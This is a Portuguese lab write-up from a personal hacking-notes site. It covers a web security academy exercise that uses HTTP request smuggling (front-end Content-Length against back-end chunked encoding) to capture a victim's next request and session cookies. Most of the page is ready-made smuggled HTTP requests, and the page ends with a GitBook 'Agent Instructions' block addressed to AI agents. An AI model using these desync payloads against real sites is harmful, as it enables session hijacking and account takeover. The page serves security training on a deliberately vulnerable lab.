> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/capturing-other-users-requests.md).

# Capturar Requisições de Outros Usuários

### Explorando o smuggling de requisições HTTP para capturar requisições de outros usuários

O laboratório está configurando um servidor front-end e um servidor back-end. O front-end **não oferece suporte à codificação chunked**. / O objetivo é **contrabandear** uma requisição para o back-end para que **a próxima requisição do usuário** é **armazenado pelo aplicativo**. / Então, **recuperar essa requisição** e usar os **cookies da vítima** para acessar a conta dele.

O laboratório simula um usuário vítima: a cada poucas requisições POST enviadas, a vítima executa sua própria requisição. / Às vezes é necessário repetir o ataque várias vezes.

> Embora o laboratório permita HTTP/2, a solução deve usar **HTTP/1** já que algumas técnicas só são possíveis neste protocolo. " " O front-end interpreta **Content-Length**, enquanto o back-end trata **Transfer-Encoding: chunked**, criando um deslocamento explorável. " " A extensão do Burp HTTP Request Smuggler pode ajudar a corrigir manualmente os comprimentos.

#### 1. **Requisição interpretada pelo front-end**

O front-end lê `Content-Length: 13`, e então também vê `Transfer-Encoding: chunked`:

```http
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked

0

postId=6
```

Depois do fim do chunk (`0`), uma requisição adicional ao back-end é adicionada.

<figure><img src="/files/c1e8618045bcc84dd463922b21ebbd578c2cc4dc" alt=""><figcaption></figcaption></figure>

#### 2. **Injeção de uma requisição POST para publicar um comentário**

Você monta uma requisição contrabandeada contendo uma segunda requisição completa:

```http
POST / HTTP/1.1
Host: 0a36007e032121be824c43d100150069.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 285
Transfer-Encoding: chunked

0

postId=6
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=jjCIZY2wVTQVhJ6tfWqnEV3pftTw4Rus
Content-Length: 130
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=6&comment=test&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```

Resultado:/ A requisição contrabandeada é tratada como se viesse da sua própria sessão, e o aplicativo publica o comentário.

<figure><img src="/files/513770d5d0b0bd97f32d4fa37894af9d5a02afe1" alt=""><figcaption></figcaption></figure>

#### 3. **Forçando a vítima a publicar um comentário**

Você modifica o corpo para:

{% code overflow="wrap" %}

```http
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=6&comment=HackedByJordan&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```

{% endcode %}

```http
POST / HTTP/1.1
Host: 0a36007e032121be824c43d100150069.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 287
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=jjCIZY2wVTQVhJ6tfWqnEV3pftTw4Rus
Content-Length: 134

csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=7&comment=HackedByJordan&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```

e envie uma requisição semelhante. / Ao recarregar, o aplicativo exibe **Obrigado pelo seu comentário**, indicando que a vítima publicou este comentário.

<figure><img src="/files/c7d28443052924ba063decce8183cfdf7aa0999a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f7e3e65b1ee736738246184525b189e965f46544" alt=""><figcaption></figcaption></figure>

#### 4. **Prepare a captura da requisição da vítima**

Para capturar a requisição inteira do usuário vítima, você aumenta bastante o `Content-Length` para que o back-end consuma a requisição seguinte como conteúdo:

```http
Content-Length: 1000

csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=4&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com&comment=HACKED
```

A próxima requisição enviada pela vítima é então absorvida pelo corpo esperado... / e se torna **consultável no armazenamento do aplicativo**.

<figure><img src="/files/d73b17cd26d0f7d366297dfb611cfbabd6f825af" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/capturing-other-users-requests.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
